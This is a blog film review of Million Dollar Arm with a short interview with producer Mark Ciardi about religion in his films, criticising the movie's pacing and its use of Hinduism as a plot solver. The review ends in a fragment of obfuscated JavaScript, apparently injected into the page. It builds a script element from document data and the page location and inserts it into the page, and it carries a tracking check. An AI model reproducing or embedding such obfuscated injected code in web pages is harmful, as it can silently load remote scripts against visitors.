Review of Million Dollar Arm and Exclusive Interview with Producer Mark Ciardi

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Review of Million Dollar Arm and Exclusive Interview with Producer Mark Ciardi

Baseball is a great sport. It’s the only game in the world where the defense gives the ball to the offense to score. It’s a game comprised of lots of down time, moments where the athletes are doing nothing but spitting out sunflower seeds while digging holes in the ground with their cleats in anticipation for that moment. That moment where the bat strikes the ball; that distinct crack of the ball hitting the wood becomes an alarm clock that wakes everyone up in the audience to alert them of fifteen seconds of excitement.

The film, Million Dollar Arm is a film about Baseball, but unlike Baseball lacks the fifteen seconds of excitement.

Jon Hamm, best known for his role in Mad Men as an adulterous, but successful advertising agent in 1960’s New York, plays a sporting agent not unlike his role in Mad Men, minus the success. JB is a desperate agent, anxious to find the next big talent to help him pay his bills and keep his agency running.

To do this he looks to India to find the next great unsigned Baseball player from a foreign nation in hopes of finding the next Yao Ming, or Ichiro Suzuki.

Million Dollar Arm plays more like Jungle 2 Jungle than a sports film. At its core Million Dollar Arm is about two Hindu athletes from India, who know nothing about Baseball or elevators and escalators, trying to get signed by a Major League Baseball team.

Seeing that Major League Baseball is so integral to the plot, you’d hope to have more baseball, instead the viewer is treated to a near constant montage of pitching practice. Ball thrown. Caught. Ball thrown. Missed. Obligatory shot of speed gun. Rinse. Repeat.

Not all at once of course, because we the audience needed to learn that if you want to be a good athlete, you need to learn how to party. So there was plenty of parties. Much like an episode of anything on the CW.

But even with all the lack of sports, for a sports film and the “party like a rock star if you want to be a rock star” plot lines, Million Dollar Arm does center around a pretty decent,and of course true love story between JB Bernstein and Brenda (JB’s backyard tenant played by Lake Bell), which makes the film tolerable and worth watching, even if it’s just for a Red Box rental.

This week I was given an opportunity to speak briefly with Mark Ciardi, the producer of Million Dollar Baby during a brief phone call. I was, and still am, very thankful for the opportunity. It’s great to see Gospel Spam getting attention for film criticism so early in its infancy and be invited to pressers. I noticed that besides sports, religion plays a role in the films Mark produces. In Secretariat verses from the Book of Job bookend the film, while in Million Dollar Arm, Hinduism is central to the characters. I asked Mark if religion plays a part in his worldview, and he stated rather honestly that placing religion in movies happens organically as the plot demands.

Mark told me that When [Religion] happens naturally, it’s great. and that We’re not trying to be preachy.

You can listen to the entire five minute interview below:

The film prominently features Hinduism, as it is the actual religion of Amit (Pitobash) , Rinku (Suraj Sharma) and Dinesh (Madhur Mittal). I have no problem with having other religions in films, even predominantly as the story requires, but I do have a problem when films like Million Dollar Arm, and most every Christian film ever made, use religion as a plot solver. In other words, once the main character finally breaks down and begins to pray, everything goes swimmingly. Unfortunately Million Dollar Arm preached like a Hindu version of a Joel Osteen sermon.

I use the word preached on purpose. It’s an important term, especially when it comes to making movies. Every movie preaches something. That’s the purpose of film. To present a story, a moral, a message and a worldview. Films are not postmodern. They mean something and they serve as expositions of the director’s worldview. Million Dollar Arm, as much as Mark Ciardi would dislike the use of the term, still preaches, whether it’s the benefits of capitalism on third world countries or the need for men to man up and take on a wife.

Unfortunately the preaching of Million Dollar Arm was more reminiscent of the prayers at a church softball league. Ecumenical, way too long, and leaves people digging their foot in the grass waiting for it to end. document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}